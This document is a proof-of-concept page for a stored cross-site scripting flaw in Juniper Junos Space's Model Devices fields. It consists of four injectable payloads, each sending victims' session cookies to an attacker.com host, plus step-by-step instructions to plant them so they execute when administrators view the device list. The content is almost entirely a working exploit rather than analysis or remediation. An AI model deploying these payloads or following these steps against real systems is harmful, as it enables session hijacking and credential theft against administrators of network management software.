CVE-2025-59986 Juniper Junos Space 跨站脚本漏洞

<!-- CVE-2025-59986: Juniper Junos Space XSS PoC --> <!-- Target: Model Devices input fields in Junos Space --> <!-- The following payloads can be injected into Model Devices input fields --> <!-- Payload 1: Basic cookie stealing --> <script>document.location='https://attacker.com/steal?c='+document.cookie</script> <!-- Payload 2: Session hijacking via fetch API --> <script> fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify({cookie: document.cookie, url: document.location.href}), headers: {'Content-Type': 'application/json'} }); </script> <!-- Payload 3: Event-based XSS (less likely to be filtered) --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Payload 4: SVG-based XSS --> <svg onload="document.location='https://attacker.com/steal?c='+document.cookie"> <!-- Steps to reproduce: 1. Log in to Junos Space management platform 2. Navigate to Model Devices section 3. Create or edit a Model Device entry 4. Inject one of the above payloads into an input field (e.g., device name, description) 5. Save the entry 6. When an administrator or other user views the Model Devices list or detail page, the malicious script will execute in their browser context 7. The attacker's server receives the victim's session cookie or other sensitive data -->